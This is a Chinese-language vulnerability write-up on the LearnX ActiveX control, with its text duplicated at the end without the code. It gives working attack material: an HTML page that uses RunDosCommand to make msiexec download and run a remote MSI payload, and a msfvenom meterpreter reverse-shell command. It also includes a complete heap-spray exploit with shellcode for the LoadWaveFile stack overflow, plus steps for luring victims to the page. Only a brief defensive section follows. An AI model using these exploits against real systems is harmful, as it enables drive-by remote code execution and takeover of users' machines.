LearnX控件漏洞挖掘与利用
字数 1223 2025-08-29 08:31:35

LearnX控件漏洞挖掘与利用技术分析

前言

本文档详细分析LearnX ActiveX控件的多个安全漏洞,包括命令执行漏洞和栈溢出漏洞的发现与利用过程。LearnX是一款用于大学英语教学的ActiveX插件,分析发现其存在严重安全隐患。

分析准备

所需工具

  1. LearnX安装程序:可从官方下载地址获取
  2. COMRaider:ActiveX控件分析工具,GitHub地址:https://github.com/dzzie/COMRaider
  3. 调试工具:x64dbg(32位版本)
  4. 漏洞利用工具:Metasploit Framework

安装与配置

  1. 默认安装路径:C:\Program Files\Pattek\LearnX
  2. 使用COMRaider加载.ocx文件分析控件接口

漏洞分析

1. RunDosCommand接口命令执行漏洞

漏洞描述

RunDosCommand接口直接执行传入的系统命令,无任何过滤或限制。

验证POC

<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
    target.RunDosCommand("calc");
</script>
</html>

高级利用

使用MSI格式payload反弹shell:

<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script language='javascript'>
    target.RunDosCommand("msiexec /q /i http://192.168.245.128/r");
</script>
</html>

攻击步骤

  1. 生成MSI格式payload:
    msfvenom -f msi -p windows/meterpreter/reverse_tcp lhost=192.168.245.128 lport=4444 > r
    
  2. 启动HTTP服务器和Metasploit监听
  3. 诱使用户访问恶意页面

2. LoadWaveFile栈溢出漏洞

漏洞发现

使用COMRaider的fuzz功能发现该漏洞:

  1. 选择LoadWaveFile函数
  2. 右键选择"fuzz member"
  3. 生成测试样本并执行fuzz测试

崩溃样本

<html>
<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script>
    var buf = '';
    while(buf.length < 1044){
        buf += 'A';
    }
    target.LoadWaveFile(buf);
</script>
</html>

漏洞分析

  1. 函数原型:int __thiscall LoadWaveFile(char *this, char *a2)
  2. 漏洞点:
    • sprintf(&v39, "%s%s", &String, a2)处存在栈溢出
    • 目标缓冲区大小:0x114
    • 无长度检查直接拷贝用户输入

调试技巧

  1. 附加到SysFader进程而非IE进程
  2. 在POC中添加alert暂停执行以便附加调试器

3. CMPGetWordScore信息泄露漏洞

该函数直接使用用户输入作为索引读取对象内部数据,可能导致敏感信息泄露。

漏洞利用

LoadWaveFile栈溢出利用

利用条件

  • XP + IE8环境(无DEP保护)
  • 使用堆喷射技术

完整利用代码

<html>
<script src="heaplib.js"></script>
<script language='javascript'>
    var heap_obj = new heapLib.ie(0x10000);
    
    // 反弹shell的shellcode (msfvenom生成)
    var code = unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u685d%u3233%u0000%u7768%u3273%u545f%u4c68%u2677%u8907%uffe8%ub8d0%u0190%u0000%uc429%u5054%u2968%u6b80%uff00%u6ad5%u6801%ua8c0%u80f5%u0268%u1100%u895c%u50e6%u5050%u4050%u4050%u6850%u0fea%ue0df%ud5ff%u6a97%u5610%u6857%ua599%u6174%ud5ff%uc085%u0a74%u4eff%u7508%ue8ec%u0067%u0000%u006a%u046a%u5756%u0268%uc8d9%uff5f%u83d5%u00f8%u367e%u368b%u406a%u0068%u0010%u5600%u006a%u5868%u53a4%uffe5%u93d5%u6a53%u5600%u5753%u0268%uc8d9%uff5f%u83d5%u00f8%u287d%u6858%u4000%u0000%u006a%u6850%u2f0b%u300f%ud5ff%u6857%u6e75%u614d%ud5ff%u5e5e%u0cff%u0f24%u7085%uffff%ue9ff%uff9b%uffff%uc301%uc629%uc175%ubbc3%ub5f0%u56a2%u006a%uff53%u41d5");
    
    var nops = unescape("%u9090%u9090");
    while(nops.length < 0x1000) nops += nops;
    
    var shellcode = nops.substring(0, 0x800 - code.length) + code;
    while(shellcode.length < 0x40000) shellcode += shellcode;
    
    var block = shellcode.substring(2, 0x40000 - 0x21);
    
    // 堆喷射
    for(var i = 0; i < 500; i++) {
        heap_obj.alloc(block);
    }
    
    alert("Spray done");
</script>

<object classid='clsid:31F4B58F-5981-488D-94A6-6CA7AC034FAC' id='target'></object>
<script>
    var buf = '';
    while(buf.length < 512){
        buf += unescape("%0c%0c%0c%0c");
    }
    target.LoadWaveFile(buf);
</script>
</html>

利用要点

  1. 使用heaplib.js进行堆喷射
  2. 覆盖返回地址为0x0c0c0c0c
  3. 必须通过HTTP服务器访问,不能直接文件方式打开

防御建议

  1. 输入验证:对所有输入参数进行严格长度和内容检查
  2. 禁用危险接口:如RunDosCommand
  3. 启用DEP/ASLR等缓解措施
  4. 使用最新版本浏览器(限制ActiveX控件权限)
  5. 对控件进行代码审计,修复所有不安全函数

总结

LearnX控件存在多个高危漏洞,攻击者可利用这些漏洞实现远程代码执行。本文详细分析了漏洞发现和利用过程,提供了完整的技术细节和POC代码。这些漏洞虽然涉及的技术较为传统,但在特定环境下仍然具有很高的利用价值。

LearnX控件漏洞挖掘与利用技术分析 前言 本文档详细分析LearnX ActiveX控件的多个安全漏洞,包括命令执行漏洞和栈溢出漏洞的发现与利用过程。LearnX是一款用于大学英语教学的ActiveX插件,分析发现其存在严重安全隐患。 分析准备 所需工具 LearnX安装程序 :可从 官方下载地址 获取 COMRaider :ActiveX控件分析工具,GitHub地址: https://github.com/dzzie/COMRaider 调试工具 :x64dbg(32位版本) 漏洞利用工具 :Metasploit Framework 安装与配置 默认安装路径: C:\Program Files\Pattek\LearnX 使用COMRaider加载 .ocx 文件分析控件接口 漏洞分析 1. RunDosCommand接口命令执行漏洞 漏洞描述 RunDosCommand 接口直接执行传入的系统命令,无任何过滤或限制。 验证POC 高级利用 使用MSI格式payload反弹shell: 攻击步骤 生成MSI格式payload: 启动HTTP服务器和Metasploit监听 诱使用户访问恶意页面 2. LoadWaveFile栈溢出漏洞 漏洞发现 使用COMRaider的fuzz功能发现该漏洞: 选择 LoadWaveFile 函数 右键选择"fuzz member" 生成测试样本并执行fuzz测试 崩溃样本 漏洞分析 函数原型: int __thiscall LoadWaveFile(char *this, char *a2) 漏洞点: sprintf(&v39, "%s%s", &String, a2) 处存在栈溢出 目标缓冲区大小:0x114 无长度检查直接拷贝用户输入 调试技巧 附加到 SysFader 进程而非IE进程 在POC中添加 alert 暂停执行以便附加调试器 3. CMPGetWordScore信息泄露漏洞 该函数直接使用用户输入作为索引读取对象内部数据,可能导致敏感信息泄露。 漏洞利用 LoadWaveFile栈溢出利用 利用条件 XP + IE8环境(无DEP保护) 使用堆喷射技术 完整利用代码 利用要点 使用 heaplib.js 进行堆喷射 覆盖返回地址为 0x0c0c0c0c 必须通过HTTP服务器访问,不能直接文件方式打开 防御建议 输入验证:对所有输入参数进行严格长度和内容检查 禁用危险接口:如 RunDosCommand 等 启用DEP/ASLR等缓解措施 使用最新版本浏览器(限制ActiveX控件权限) 对控件进行代码审计,修复所有不安全函数 总结 LearnX控件存在多个高危漏洞,攻击者可利用这些漏洞实现远程代码执行。本文详细分析了漏洞发现和利用过程,提供了完整的技术细节和POC代码。这些漏洞虽然涉及的技术较为传统,但在特定环境下仍然具有很高的利用价值。